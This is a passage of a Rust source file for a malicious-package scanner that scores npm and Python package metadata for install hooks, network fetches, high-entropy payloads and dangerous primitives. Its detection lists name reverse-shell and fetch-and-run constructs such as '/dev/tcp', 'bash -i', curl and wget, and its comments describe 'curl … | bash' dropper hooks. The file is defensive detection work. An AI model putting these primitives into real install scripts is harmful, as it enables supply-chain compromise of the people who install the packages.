Your browser sucks, JavaScript disabled! Gunnar's console needs JavaScript and WebAssembly. Git over SSH on port 2222 does not.

mikronova/modgunn

src/behavior.rs

//! Package **behaviour / metadata features** for the A23 malicious-package model
//! (feature `scan`).
//!
//! The academic malicious-npm/PyPI detectors (Socket H1-2025; arXiv 2412.05259 /
//! 2309.02637) score a package on a handful of high-signal, cheap-to-extract
//! features of its *published metadata* — long before any code runs:
//!
//! - **install-script hooks** — does the package run code automatically at install
//!   (`preinstall` / `install` / `postinstall` / `prepare`)? Nearly every npm
//!   malware sample uses one; a legitimate library rarely needs to.
//! - **network-in-install** — does an install hook *fetch from the network*
//!   (`curl` / `wget` / `fetch(` / `Invoke-WebRequest` / a raw URL)? The classic
//!   dropper: install hook → download stage-2 → execute.
//! - **# URLs** — how many `http(s)://` endpoints the scripts reference.
//! - **string entropy** — the max Shannon entropy over long tokens in the install
//!   scripts (a base64 / packed payload sits near-maximal; reuses the SAME
//!   [`crate::core::shannon_entropy`] the SCIP A17 obfuscation tripwire keys on —
//!   one metric, never a twin, L5).
//! - **sensitive-API set** — which dangerous primitives the install scripts touch
//!   (`child_process` / `eval(` / `atob(` / `/dev/tcp` / …): the isolation-forest
//!   / behaviour-sequence feature axis.
//!
//! This is the *feature-extraction* front-end (the read side, mirroring
//! `feeds::parse_*` / `provenance::parse_scorecard`): offline, **no code execution**
//! — it reads a package's published metadata **text** and folds it into
//! [`PackageBehavior`], whose [`findings`](PackageBehavior::findings) turn the
//! features into advisory [`Finding`]s the verdict surface consumes. The model
//! (scoring the feature vector) is the dynamic-plane consumer; the features live
//! here so every consumer extracts them the same way.
//!
//! **Four ecosystem front-ends, one folder.** [`parse_npm_package`] reads an npm
//! `package.json`'s auto-run scripts; [`parse_pypi_setup`] reads a PyPI `setup.py`'s
//! install-time code; [`parse_pyproject_toml`] reads a PEP 621 / PEP 517
//! `pyproject.toml`; [`parse_setup_cfg`] reads a setuptools `setup.cfg`. All funnel
//! through the SAME pure `extract_from_install_text` folder and produce the SAME
//! [`PackageBehavior`] + [`Finding`]s — never a per-ecosystem twin (L5). A new
//! ecosystem is one more thin front-end over that folder.
//!
//! **Why `pyproject.toml` AND `setup.cfg` need section-aware front-ends (NOT a
//! whole-file scan).** Both are *declarative* config (TOML / INI), so — unlike a
//! `setup.py` (which runs in full) — a naive text scan false-positives: a
//! `dependencies`/`install_requires` list embedding `urllib3` trips the `urllib`
//! network needle, and a `[project.urls]` / `[metadata] url` homepage trips
//! `https://`. Both front-ends are therefore section-aware line-scanners (no `toml` /
//! `ini` crate — the lean `scan` gate stays pure) that fold ONLY the build/install-
//! active sections and skip the declarative metadata + dependency lists.
//!
//! **Why `pyproject.toml` needs a section-aware front-end (NOT a whole-file scan).**
//! Unlike a `setup.py` (which runs in full) a `pyproject.toml` is *declarative* TOML:
//! most of it — `[project] dependencies`, `[project.urls]`, `[project.optional-
//! dependencies]`, a `[tool.poetry]` metadata block — never executes anything, yet a
//! naive text scan false-positives on it (a `dependencies = ["urllib3"]` trips the
//! `urllib` network needle; a `[project.urls] Homepage = "https://…"` trips the
//! `https://` needle → a spurious `network_in_install` on nearly every honest
//! project). So [`parse_pyproject_toml`] is TOML-**section-aware**: it scans ONLY the
//! sections/keys that actually run at build/install time (the `[build-system]`
//! backend spec, a PEP 517 in-tree backend `backend-path`, a `cmdclass` table, a
//! `[tool.*.build.hooks…]` build-hook table), and it skips the declarative `[project]`
//! block and declarative dependency-list keys (`requires` / `dependencies` /
//! `optional-dependencies`) even inside an active section. It uses a tiny line-scanner
//! (no `toml` dependency), so the pyproject front-end stays inside the lean `scan`
//! gate — the `toml` crate never enters the default binary (holger / static-holger
//! purity, matching the `rustsec` / `manifests` gating).

use std::collections::BTreeSet;

use crate::core::{shannon_entropy, Finding, Severity};

/// The npm lifecycle scripts npm runs **automatically** on `npm install` — the
/// only scripts that execute without the user asking, and therefore the malware
/// vector. A command under any of these keys is an *install hook*.
pub const INSTALL_HOOKS: &[&str] = &["preinstall", "install", "postinstall", "prepare"];

/// Substrings (matched case-insensitively) that indicate an install script reaches
/// out to the **network** — the stage-2 download half of a dropper.
const NETWORK_NEEDLES: &[&str] = &[
    "http://",
    "https://",
    "curl",
    "wget",
    "invoke-webrequest",
    "iwr ",
    "node-fetch",
    "fetch(",
    // Python `requests` — ANY verb, not only `.get` (a dropper uses `.post`/
    // `.request`/`.Session` just as easily); the `.` avoids matching a bare
    // `"requests"` dependency name in a declarative list.
    "requests.",
    "urllib",
    "urlopen",
    // Python stdlib HTTP/FTP with NO scheme literal or `urllib` in the source — the
    // needle-free dropper form (`http.client.HTTPSConnection(...)` / `ftplib`).
    // `httpsconnection`/`httpconnection` are the lowercased class names.
    "http.client",
    "httpsconnection",
    "httpconnection",
    "ftplib",
    // Node core http/https used via the module object rather than a URL string
    // (`require("node:https").get(opts)`).
    "https.get",
    "http.get",
    "https.request",
    "http.request",
    "node:https",
    "node:http",
];

/// `(needle, label)` — dangerous primitives an install script should not normally
/// need. The needle is matched case-insensitively against the script text; the
/// label is the stable feature name reported (and deduped) in the sensitive-API set.
const SENSITIVE_APIS: &[(&str, &str)] = &[
    ("child_process", "child_process"),
    ("execsync", "exec"),
    ("spawnsync", "spawn"),
    ("spawn(", "spawn"),
    ("exec(", "exec"),
    ("eval(", "eval"),
    ("new function", "dynamic-code"),
    ("atob(", "base64-decode"),
    ("base64", "base64"),
    ("/dev/tcp", "reverse-shell"),
    ("bash -i", "interactive-shell"),
    ("node -e", "inline-eval"),
    ("os.system", "process-exec"),
    ("subprocess", "process-exec"),
    // The `os.exec*` family (execv/execl/execvp/…) REPLACES the process image — the
    // classic "hand off to a downloaded payload" primitive. `os.execv(` contains no
    // literal `exec(` (the `v`), so it evaded the `exec(` needle; the `os.exec`
    // prefix catches the whole family and is never benign in an install script.
    ("os.exec", "process-exec"),
    // Python-specific install-time primitives (setup.py malware): deserialize-and-run
    // and dynamic import are the classic PyPI payload-hiding tricks.
    ("marshal.loads", "deserialize-exec"),
    ("pickle.loads", "deserialize-exec"),
    ("__import__(", "dynamic-import"),
];

/// Sensitive-API labels (from [`SENSITIVE_APIS`]) that are NEVER legitimate in an
/// install script — a reverse shell / interactive shell is a peer threat to the
/// dropper, so their presence lifts the sensitive-API finding to **High** (not the
/// default Medium a generic `exec`/`subprocess` earns).
const HIGH_RISK_APIS: &[&str] = &["reverse-shell", "interactive-shell"];

/// Tokens shorter than this are ignored for the entropy signal (short strings have
/// unstable entropy; a base64 payload is long).
const MIN_ENTROPY_TOKEN_LEN: usize = 16;

/// Max Shannon entropy (bits/byte) at/above which a long install-script token reads
/// as an encoded / packed payload. Base64 text sits ~4.5–5.5; English shell ~3–4.
pub const DEFAULT_OBFUSCATION_ENTROPY: f64 = 4.5;

/// The extracted A23 behaviour-feature vector for one package's published metadata.
/// Every field is a cheap, offline, metadata-only signal — no code was run to
/// produce it.
#[derive(Debug, Clone, PartialEq)]
pub struct PackageBehavior {
    /// The package name (`name` from `package.json`), for finding summaries.
    pub subject: String,
    /// Which auto-run install-lifecycle hooks the package declares (a subset of
    /// [`INSTALL_HOOKS`], in declaration order of that list).
    pub install_hooks: Vec<String>,
    /// An install hook reaches out to the network (dropper stage-2 fetch).
    pub network_in_install: bool,
    /// Count of `http(s)://` URLs referenced across the install scripts.
    pub url_count: usize,
    /// Max Shannon entropy over long tokens in the install scripts (obfuscation /
    /// embedded-payload signal). `0.0` when there is no long token.
    pub max_token_entropy: f64,
    /// A long **hex-only** token is present. Shannon entropy of hex text caps at
    /// `log2(16) = 4.0` bits/byte — strictly below [`DEFAULT_OBFUSCATION_ENTROPY`] —
    /// so a hex-encoded payload (`bytes.fromhex("6f732e…")`) is invisible to the
    /// entropy gate. This flags it directly.
    pub hex_blob: bool,
    /// The dangerous primitives the install scripts touch (deduped labels from
    /// [`SENSITIVE_APIS`], sorted).
    pub sensitive_apis: BTreeSet<String>,
}

impl PackageBehavior {
    /// Fold the extracted features into advisory [`Finding`]s. The ranking follows
    /// the academic signal strength: a network fetch *inside an install hook* is the
    /// dropper pattern (**High**); a dangerous primitive in an install script or an
    /// obfuscated/encoded payload is a strong feature (**Medium**); merely declaring
    /// an install hook is a weak-but-notable feature (**Low**). A package with no
    /// install hook and no dangerous feature yields no findings.
    pub fn findings(&self) -> Vec<Finding> {
        let mut out = Vec::new();
        if self.network_in_install {
            out.push(Finding {
                severity: Severity::High,
                id: "MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL".into(),
                summary: format!(
                    "`{}` fetches from the network in an install hook (dropper pattern)",
                    self.subject
                ),
            });
        }
        if !self.sensitive_apis.is_empty() {
            let apis = self
                .sensitive_apis
                .iter()
                .cloned()
                .collect::<Vec<_>>()
                .join(", ");
            // A reverse shell (`/dev/tcp`) or an interactive shell (`bash -i`) in an
            // install script is NEVER legitimate — it is a peer threat to the dropper
            // (network-in-install), not a merely-suspicious primitive like a generic
            // `exec`/`subprocess` (which honest build scripts do use). So a package
            // that plants one is High, not Medium. FP risk is negligible: no honest
            // install hook opens `/dev/tcp/<host>/<port>` or drops to `bash -i`.
            let high_risk = self
                .sensitive_apis
                .iter()
                .any(|a| HIGH_RISK_APIS.contains(&a.as_str()));
            let severity = if high_risk {
                Severity::High
            } else {
                Severity::Medium
            };
            out.push(Finding {
                severity,
                id: "MODGUNN-BEHAVIOR-SENSITIVE-API".into(),
                summary: format!(
                    "`{}` install script uses dangerous primitives: {apis}",
                    self.subject
                ),
            });
        }
        if self.max_token_entropy >= DEFAULT_OBFUSCATION_ENTROPY || self.hex_blob {
            let detail = if self.hex_blob && self.max_token_entropy < DEFAULT_OBFUSCATION_ENTROPY {
                "a long hex-encoded token".to_string()
            } else {
                format!(
                    "a high-entropy token ({:.2} bits/byte)",
                    self.max_token_entropy
                )
            };
            out.push(Finding {
                severity: Severity::Medium,
                id: "MODGUNN-BEHAVIOR-OBFUSCATION".into(),
                summary: format!(
                    "`{}` install script carries {detail} — likely an encoded payload",
                    self.subject
                ),
            });
        }
        if !self.install_hooks.is_empty() {
            out.push(Finding {
                severity: Severity::Low,
                id: "MODGUNN-BEHAVIOR-INSTALL-HOOK".into(),
                summary: format!(
                    "`{}` runs code automatically at install via {:?}",
                    self.subject, self.install_hooks
                ),
            });
        }
        out
    }
}

/// The subset of an npm `package.json` the extractor reads. `serde` ignores the
/// many other fields (`version`, `dependencies`, `main`, …) — only the identity and
/// the lifecycle scripts feed the A23 features.
#[derive(Debug, serde::Deserialize)]
struct NpmPackageDoc {
    #[serde(default)]
    name: String,
    #[serde(default)]
    scripts: std::collections::HashMap<String, String>,
}

/// Extract the A23 [`PackageBehavior`] feature vector from an npm **`package.json`**
/// text. Pure serde_json, offline, no code executed — it reads the declared
/// lifecycle scripts and folds them into cheap metadata features. Mirrors
/// `feeds::parse_*` / `provenance::parse_scorecard`: one fixture-driven parser, the
/// shared [`Finding`] model, no twin.
///
/// The features come from the **install-lifecycle** scripts only ([`INSTALL_HOOKS`])
/// — the code npm runs automatically on `npm install`; a `test` / `build` script the
/// user opts into is not the malware vector and is not scored.
pub fn parse_npm_package(json: &str) -> Result<PackageBehavior, serde_json::Error> {
    let doc: NpmPackageDoc = serde_json::from_str(json)?;
    let subject = doc.name;

    let mut install_hooks = Vec::new();
    let mut install_text = String::new();
    for hook in INSTALL_HOOKS {
        if let Some(cmd) = doc.scripts.get(*hook) {
            install_hooks.push((*hook).to_string());
            install_text.push_str(cmd);
            install_text.push('\n');
        }
    }
    let features = extract_from_install_text(&install_text);

    let behavior = PackageBehavior {
        subject,
        install_hooks,
        network_in_install: features.network,
        url_count: features.url_count,
        max_token_entropy: features.max_entropy,
        hex_blob: features.hex_blob,
        sensitive_apis: features.sensitive,
    };

    // Introspection marker — the A23 behaviour-feature surface reports each package
    // it folds (GREEN; a dropper-flag rides the detail) so `nornir test` SEES the
    // seam. Feature-gated: a compiled-out no-op with no nornir dep in a lean build.
    #[cfg(feature = "testmatrix")]
    crate::functional_status(
        "modgunn/behavior-features",
        "parse_npm_package",
        true,
        &format!(
            "{}: hooks={:?} network={} urls={} entropy={:.2} apis={}",
            behavior.subject,
            behavior.install_hooks,
            behavior.network_in_install,
            behavior.url_count,
            behavior.max_token_entropy,
            behavior.sensitive_apis.len()
        ),
    );

    Ok(behavior)
}

/// Extract the A23 [`PackageBehavior`] feature vector from a PyPI **`setup.py`**
/// text — the second ecosystem front-end (Python is the #2 malicious-package
/// ecosystem). Unlike npm's structured `scripts{}`, a `setup.py` is arbitrary
/// Python that **runs in full at `pip install` from an sdist**, so the whole file
/// *is* the install script: it is folded through the SAME
/// [`extract_from_install_text`] the npm front-end uses (network fetch / sensitive
/// primitives / encoded-payload entropy / URLs), producing the SAME
/// [`PackageBehavior`] + [`Finding`]s — no twin (L5).
///
/// The install-hook signal here is a **custom command class** (`cmdclass` wiring an
/// `install` / `develop` override, or subclassing a setuptools command) — the
/// documented PyPI persistence trick. A plain declarative `setup(name=…,
/// packages=…, install_requires=…)` with no dangerous call yields no findings; a
/// `setup.py` that `urllib.urlopen`s + `os.system`s a payload trips the network /
/// sensitive-API findings from the whole-file scan even without a `cmdclass`.
///
/// Text-scanning, offline, **no Python executed** — it never imports or runs the
/// file. Infallible (a text fold), so it returns [`PackageBehavior`] directly.
pub fn parse_pypi_setup(setup_py: &str) -> PackageBehavior {
    let subject = extract_python_setup_name(setup_py);
    // The entire setup.py runs at sdist install → the whole file is the install text.
    let features = extract_from_install_text(setup_py);

    let mut install_hooks = Vec::new();
    if has_cmdclass_install_override(setup_py) {
        install_hooks.push("cmdclass-install".to_string());
    }

    let behavior = PackageBehavior {
        subject,
        install_hooks,
        network_in_install: features.network,
        url_count: features.url_count,
        max_token_entropy: features.max_entropy,
        hex_blob: features.hex_blob,
        sensitive_apis: features.sensitive,
    };

    #[cfg(feature = "testmatrix")]
    crate::functional_status(
        "modgunn/behavior-features",
        "parse_pypi_setup",
        true,
        &format!(
            "{}: cmdclass={} network={} urls={} entropy={:.2} apis={}",
            behavior.subject,
            !behavior.install_hooks.is_empty(),
            behavior.network_in_install,
            behavior.url_count,
            behavior.max_token_entropy,
            behavior.sensitive_apis.len()
        ),
    );

    behavior
}

/// Best-effort extraction of the `name=` keyword-arg from a `setup.py` / `setup.cfg`
/// text — no regex, no Python parse. Finds the FIRST `name` token that is a genuine
/// keyword arg (preceded by a non-identifier char so `filename=` / `long_name=` do
/// not match) followed by `=` and a quoted string. Empty when absent.
fn extract_python_setup_name(text: &str) -> String {
    let bytes = text.as_bytes();
    let mut i = 0;
    while let Some(pos) = text[i..].find("name") {
        let at = i + pos;
        let before_ok =
            at == 0 || !(bytes[at - 1].is_ascii_alphanumeric() || bytes[at - 1] == b'_');
        let mut j = at + 4;
        while j < bytes.len() && (bytes[j] == b' ' || bytes[j] == b'\t') {
            j += 1;
        }
        if before_ok && j < bytes.len() && bytes[j] == b'=' {
            j += 1;
            while j < bytes.len() && (bytes[j] == b' ' || bytes[j] == b'\t') {
                j += 1;
            }
            if j < bytes.len() && (bytes[j] == b'"' || bytes[j] == b'\'') {
                let quote = bytes[j];
                j += 1;
                let start = j;
                while j < bytes.len() && bytes[j] != quote {
                    j += 1;
                }
                return text[start..j].to_string();
            }
        }
        i = at + 4;
    }
    String::new()
}

/// Does the `setup.py` wire a **custom install command** via `cmdclass`? The PyPI
/// install-hook signal: a `cmdclass` dict with an `install` / `develop` entry, or a
/// class subclassing a setuptools command (`(install)` / `(develop)` / `(build_py)`
/// / `(egg_info)`). Gated behind `cmdclass` so a legit `install_requires` alone
/// (which contains the substring "install") does not fire.
fn has_cmdclass_install_override(text: &str) -> bool {
    let lower = text.to_ascii_lowercase();
    lower.contains("cmdclass")
        && (text.contains("'install'")
            || text.contains("\"install\"")
            || text.contains("(install)")
            || text.contains("(develop)")
            || text.contains("(build_py)")
            || text.contains("(egg_info)"))
}

/// Extract the A23 [`PackageBehavior`] feature vector from a Python
/// **`pyproject.toml`** text — the THIRD ecosystem front-end. A `pyproject.toml` is
/// *declarative* TOML (it does not itself run code), so — unlike the `setup.py`
/// whole-file scan — this front-end is **section-aware**: it folds through the SAME
/// [`extract_from_install_text`] ONLY the sections/keys that run at build/install
/// time, and never the declarative metadata that would false-positive a naive scan.
///
/// **Scanned (build/install-active):** the `[build-system]` backend spec (a PEP 517
/// in-tree backend `backend-path` is itself an install-hook signal), a `cmdclass`
/// table, and a `[tool.*.build.hooks…]` build-hook table. **Skipped (declarative):**
/// the entire `[project]` block (`dependencies` / `optional-dependencies` /
/// `[project.urls]`), a `[tool.poetry]` / linter (`[tool.ruff]`, `[tool.black]`, …)
/// config block, and the dependency-list keys `requires` / `dependencies` /
/// `optional-dependencies` **even inside an active section** (build deps are still
/// declarative — a `requires = ["urllib3"]` must not trip the network needle).
///
/// So a benign declarative `pyproject.toml` (deps incl. `urllib3`, a `https://`
/// homepage) yields NO `network_in_install` finding, while a genuine build hook that
/// fetches/execs (a `curl … | bash` in a build-hook table, an in-tree backend) IS
/// flagged. Text-scanning, offline, **no code executed**; a tiny line-scanner with no
/// `toml` dependency, so it stays inside the lean `scan` gate. Infallible → returns
/// [`PackageBehavior`] directly.
pub fn parse_pyproject_toml(toml_text: &str) -> PackageBehavior {
    let mut subject = String::new();
    let mut install_text = String::new();
    let mut in_tree_backend = false; // [build-system] backend-path — PEP 517 local backend
    let mut has_cmdclass = false; // a cmdclass command-override table
    let mut has_build_hook = false; // a [tool.*.build.hooks…] table

    let mut section = String::new(); // current table header (brackets stripped), "" = root
    let mut active = false; // is `section` build/install-active?
    let mut skipping_decl_array = false; // inside a multiline declarative-deps array

    for line in toml_text.lines() {
        let t = line.trim();

        if skipping_decl_array {
            if t.contains(']') {
                skipping_decl_array = false;
            }
            continue;
        }
        if t.is_empty() || t.starts_with('#') {
            continue;
        }
        if let Some(header) = section_header(t) {
            section = header;
            active = is_install_active_section(&section);
            if active && section.contains("cmdclass") {
                has_cmdclass = true;
            }
            if active && (section.contains("build.hooks") || section.contains("build-hooks")) {
                has_build_hook = true;
            }
            continue;
        }

        // A `key = value` line. Capture the declarative `name` for the subject even in
        // a declarative section, but never fold that section's text into the scan.
        let key = t.split(['=', '.', ' ']).next().unwrap_or("").trim();
        if subject.is_empty() && (section == "project" || section == "tool.poetry") && key == "name"
        {
            if let Some(v) = toml_string_value(t) {
                subject = v;
            }
        }

        if !active {
            continue;
        }
        // Active section. A dependency-list key is still declarative — skip it (and its
        // multiline array continuation) so build deps never trip the network needle.
        if is_declarative_deps_key(key) {
            let rhs = t.split_once('=').map(|(_, r)| r).unwrap_or("");
            if rhs.contains('[') && !rhs.contains(']') {
                skipping_decl_array = true;
            }
            continue;
        }
        if section == "build-system" && key == "backend-path" {
            in_tree_backend = true;
        }
        install_text.push_str(line);
        install_text.push('\n');
    }

    let features = extract_from_install_text(&install_text);

    // Install-hook signal, in a stable order: an in-tree PEP 517 backend, a cmdclass
    // override, a custom build hook. Any one means the project runs its own code at build.
    let mut install_hooks = Vec::new();
    if in_tree_backend {
        install_hooks.push("pep517-backend-path".to_string());
    }
    if has_cmdclass {
        install_hooks.push("cmdclass".to_string());
    }
    if has_build_hook {
        install_hooks.push("build-hook".to_string());
    }

    let behavior = PackageBehavior {
        subject,
        install_hooks,
        network_in_install: features.network,
        url_count: features.url_count,
        max_token_entropy: features.max_entropy,
        hex_blob: features.hex_blob,
        sensitive_apis: features.sensitive,
    };

    #[cfg(feature = "testmatrix")]
    crate::functional_status(
        "modgunn/behavior-features",
        "parse_pyproject_toml",
        true,
        &format!(
            "{}: hooks={:?} network={} urls={} entropy={:.2} apis={}",
            behavior.subject,
            behavior.install_hooks,
            behavior.network_in_install,
            behavior.url_count,
            behavior.max_token_entropy,
            behavior.sensitive_apis.len()
        ),
    );

    behavior
}

/// Parse a TOML table header line (`[build-system]`, `[tool.setuptools.cmdclass]`, or
/// an array-of-tables `[[tool.foo]]`) into the dotted header with the brackets
/// stripped. `None` for a non-header line.
fn section_header(trimmed: &str) -> Option<String> {
    if !trimmed.starts_with('[') || !trimmed.ends_with(']') {
        return None;
    }
    Some(
        trimmed
            .trim_matches(|c| c == '[' || c == ']')
            .trim()
            .to_string(),
    )
}

/// Does this TOML table run code at build/install time? The `[build-system]` backend
/// spec, a `cmdclass` command-override table, and a `[tool.*.build.hooks…]` build-hook
/// table do; the declarative `[project]` block and `[tool.<linter>]` config do not.
fn is_install_active_section(section: &str) -> bool {
    section == "build-system"
        || section.contains("cmdclass")
        || section.contains("build.hooks")
        || section.contains("build-hooks")
}

/// A declarative dependency-list key whose value is data, not executed code — its
/// value must never be folded into the install-text scan, even inside an active
/// section (a build `requires = ["urllib3"]` is a declared dep, not a network call).
fn is_declarative_deps_key(key: &str) -> bool {
    matches!(key, "requires" | "dependencies" | "optional-dependencies")
}

/// Pull the first quoted string value from a TOML `key = "value"` line (single or
/// double quotes). Best-effort, no full TOML parse.
fn toml_string_value(line: &str) -> Option<String> {
    let rhs = line.split_once('=')?.1.trim();
    let quote = rhs.chars().next().filter(|c| *c == '"' || *c == '\'')?;
    let rest = &rhs[quote.len_utf8()..];
    let end = rest.find(quote)?;
    Some(rest[..end].to_string())
}

/// setup.cfg keys whose value is a **declarative dependency list** (data, not
/// executed code) — never folded into the install-text scan, even inside an active
/// section, so an `install_requires = urllib3` (which embeds the `urllib` needle) or a
/// `python_requires` never trips `network_in_install`. Mirrors the pyproject
/// [`is_declarative_deps_key`] rule for the INI ecosystem.
const SETUP_CFG_DECLARATIVE_KEYS: &[&str] = &[
    "install_requires",
    "extras_require",
    "setup_requires",
    "tests_require",
    "test_requires",
    "python_requires",
    "dependencies",
    "optional-dependencies",
];

/// The `[options.entry_points]` groups whose entry points setuptools invokes as a side
/// effect of **building / installing** (register a distutils command, a setup-keyword
/// handler, a finalize-distribution hook, an egg-info writer). A `console_scripts` /
/// `gui_scripts` group only *writes a wrapper* for the USER to run later, so it is NOT
/// build-active and is skipped — the same auto-run-vs-opt-in line the npm front-end
/// draws between install hooks and a `build`/`test` script.
const BUILD_ENTRY_POINT_GROUPS: &[&str] = &[
    "distutils.commands",
    "distutils.setup_keywords",
    "setuptools.finalize_distribution_options",
    "egg_info.writers",
    "setuptools.file_finders",
];

/// Extract the A23 [`PackageBehavior`] feature vector from a Python **`setup.cfg`**
/// text — the FOURTH ecosystem front-end. A `setup.cfg` is *declarative* INI (the
/// setuptools static-metadata form), so — exactly like the [`parse_pyproject_toml`]
/// front-end and unlike the `setup.py` whole-file scan — this one is **section-aware**:
/// it folds through the SAME [`extract_from_install_text`] ONLY the sections/keys that
/// run code at build/install time, and never the declarative metadata that would
/// false-positive a naive scan.
///
/// **Scanned (build/install-active):** the `[options]` `cmdclass` mapping (a custom
/// install/build command — the persistence trick), the `[options]` `dependency_links`
/// list (URLs setuptools *fetches* at build → a genuine build-time network source), and
/// a build-active `[options.entry_points]` group ([`BUILD_ENTRY_POINT_GROUPS`] — a
/// distutils command / setup-keyword hook that runs at build). **Skipped
/// (declarative):** the entire `[metadata]` block (incl. `url` / `project_urls`), every
/// declarative dependency-list key ([`SETUP_CFG_DECLARATIVE_KEYS`] — `install_requires`
/// / `extras_require` / `python_requires` / …) even inside `[options]`, an
/// `[options.extras_require]` block, and a runtime `console_scripts` / `gui_scripts`
/// entry-point group.
///
/// So a benign declarative `setup.cfg` (an `install_requires` with `urllib3`, a
/// `[metadata] url = https://…`) yields NO `network_in_install` finding, while a genuine
/// build hook — a `dependency_links` URL fetch, a `cmdclass` override, a build-command
/// entry point — IS flagged. It uses a tiny INI line-scanner (tracks `[section]` and
/// indent-continuation), **no `ini` / `configparser` crate**, so the setup.cfg
/// front-end stays inside the lean `scan` gate. Text-scanning, offline, **no code
/// executed**. Infallible → returns [`PackageBehavior`] directly.
pub fn parse_setup_cfg(text: &str) -> PackageBehavior {
    let mut subject = String::new();
    let mut install_text = String::new();
    let mut has_cmdclass = false; // an [options] cmdclass command-override mapping
    let mut has_build_entry_point = false; // a build-active [options.entry_points] group

    let mut section = String::new(); // lowercased current [section] ("" = preamble)
                                     // Whether the CURRENT key's continuation (indented) lines are build-active and
                                     // should be folded. A new non-indented key line, or a section header, resets it.
    let mut fold_continuations = false;

    for line in text.lines() {
        let trimmed = line.trim();
        // INI comments start with `#` or `;`.
        if trimmed.is_empty() || trimmed.starts_with('#') || trimmed.starts_with(';') {
            continue;
        }
        if let Some(header) = ini_section_header(trimmed) {
            section = header.to_ascii_lowercase();
            fold_continuations = false;
            continue;
        }
        // A continuation line (indented) belongs to the previous key's multiline value.
        if line.starts_with(' ') || line.starts_with('\t') {
            if fold_continuations {
                install_text.push_str(line);
                install_text.push('\n');
            }
            continue;
        }

        // A new `key = value` (or `key: value`) line at the section's top level.
        let (key_raw, val) = ini_split_key(trimmed);
        let key = key_raw.to_ascii_lowercase();

        // The subject: `name` from `[metadata]` (captured even though the block is
        // otherwise declarative-and-skipped).
        if subject.is_empty() && section == "metadata" && key == "name" && !val.is_empty() {
            subject = val.to_string();
        }

        let active = is_setup_cfg_active_key(&section, &key);
        fold_continuations = active;
        if !active {
            continue;
        }
        if section == "options" && key == "cmdclass" {
            has_cmdclass = true;
        }
        if section == "options.entry_points" {
            has_build_entry_point = true;
        }
        // Fold the inline value on the key line too (a single-line `dependency_links =
        // https://…` carries the URL right here, not on a continuation).
        if !val.is_empty() {
            install_text.push_str(val);
            install_text.push('\n');
        }
    }

    let features = extract_from_install_text(&install_text);

    // Install-hook signal, in a stable order: a cmdclass override, a build-active entry
    // point. Either means the project runs its own code as a side effect of building.
    let mut install_hooks = Vec::new();
    if has_cmdclass {
        install_hooks.push("cmdclass".to_string());
    }
    if has_build_entry_point {
        install_hooks.push("build-entry-point".to_string());
    }

    let behavior = PackageBehavior {
        subject,
        install_hooks,
        network_in_install: features.network,
        url_count: features.url_count,
        max_token_entropy: features.max_entropy,
        hex_blob: features.hex_blob,
        sensitive_apis: features.sensitive,
    };

    #[cfg(feature = "testmatrix")]
    crate::functional_status(
        "modgunn/behavior-features",
        "parse_setup_cfg",
        true,
        &format!(
            "{}: hooks={:?} network={} urls={} entropy={:.2} apis={}",
            behavior.subject,
            behavior.install_hooks,
            behavior.network_in_install,
            behavior.url_count,
            behavior.max_token_entropy,
            behavior.sensitive_apis.len()
        ),
    );

    behavior
}

/// Parse an INI section header line (`[metadata]`, `[options.entry_points]`) into the
/// name with the brackets stripped. `None` for a non-header line.
fn ini_section_header(trimmed: &str) -> Option<String> {
    if trimmed.starts_with('[') && trimmed.ends_with(']') && trimmed.len() >= 2 {
        Some(trimmed[1..trimmed.len() - 1].trim().to_string())
    } else {
        None
    }
}

/// Split an INI `key = value` (or `key: value`) line at the FIRST separator, returning
/// the trimmed `(key, value)`. A `value` that itself contains `:` (a `dependency_links`
/// URL, an entry-point `name = mod:attr`) is preserved whole because we split on the
/// first `=`/`:` only. No separator ⇒ the whole line is the key, empty value.
fn ini_split_key(trimmed: &str) -> (&str, &str) {
    let eq = trimmed.find('=');
    let colon = trimmed.find(':');
    let sep = match (eq, colon) {
        (Some(a), Some(b)) => Some(a.min(b)),
        (Some(a), None) => Some(a),
        (None, Some(b)) => Some(b),
        (None, None) => None,
    };
    match sep {
        Some(i) => (trimmed[..i].trim(), trimmed[i + 1..].trim()),
        None => (trimmed.trim(), ""),
    }
}

/// Does this `setup.cfg` `(section, key)` run code at build/install time (⇒ fold its
/// value into the scan)? A declarative dependency-list key never does (even inside
/// `[options]`); otherwise only the `[options]` `cmdclass` / `dependency_links` keys and
/// a build-active `[options.entry_points]` group do. The `[metadata]` block and a
/// runtime `console_scripts` group do not.
fn is_setup_cfg_active_key(section: &str, key: &str) -> bool {
    if SETUP_CFG_DECLARATIVE_KEYS.contains(&key) {
        return false;
    }
    match section {
        "options" => key == "cmdclass" || key == "dependency_links",
        "options.entry_points" => BUILD_ENTRY_POINT_GROUPS.contains(&key),
        _ => false,
    }
}

/// The raw features pulled from the concatenated install-script text.
struct InstallFeatures {
    network: bool,
    url_count: usize,
    max_entropy: f64,
    hex_blob: bool,
    sensitive: BTreeSet<String>,
}

/// Pure feature extraction over the install-script text — split out so it is unit-
/// testable in isolation and reusable by a future ecosystem front-end (a PyPI
/// `setup.py` extractor would feed its install code through the SAME folder).
fn extract_from_install_text(text: &str) -> InstallFeatures {
    let lower = text.to_ascii_lowercase();

    let url_count = lower.matches("http://").count() + lower.matches("https://").count();
    let network = NETWORK_NEEDLES.iter().any(|n| lower.contains(n));

    let mut sensitive = BTreeSet::new();
    for (needle, label) in SENSITIVE_APIS {
        if lower.contains(needle) {
            sensitive.insert((*label).to_string());
        }
    }

    // Max entropy over long whitespace-split tokens (the base64/packed-payload
    // signal). Split on the ORIGINAL text so case is preserved for entropy.
    let max_entropy = text
        .split(|c: char| c.is_whitespace())
        .filter(|t| t.len() >= MIN_ENTROPY_TOKEN_LEN)
        .map(shannon_entropy)
        .fold(0.0_f64, f64::max);

    // Hex blindspot: the entropy of hex text caps at log2(16) = 4.0 bits/byte,
    // strictly below the obfuscation gate, so a hex-encoded payload
    // (`bytes.fromhex("6f732e73797374656d28…")`) is invisible to `max_entropy`. It
    // also lives INSIDE a token (quotes/parens around it), so scan for the longest
    // contiguous run of hex digits directly. Require a letter (`a-f`) in the run so
    // a long decimal literal (a version, a timestamp) is not mistaken for hex.
    let hex_blob = longest_hex_run_has_letter(text, MIN_ENTROPY_TOKEN_LEN);

    InstallFeatures {
        network,
        url_count,
        max_entropy,
        hex_blob,
        sensitive,
    }
}

/// True when `text` contains a contiguous run of ≥ `min_len` ASCII hex digits that
/// includes at least one `a–f`/`A–F` (so a pure-decimal run doesn't count).
fn longest_hex_run_has_letter(text: &str, min_len: usize) -> bool {
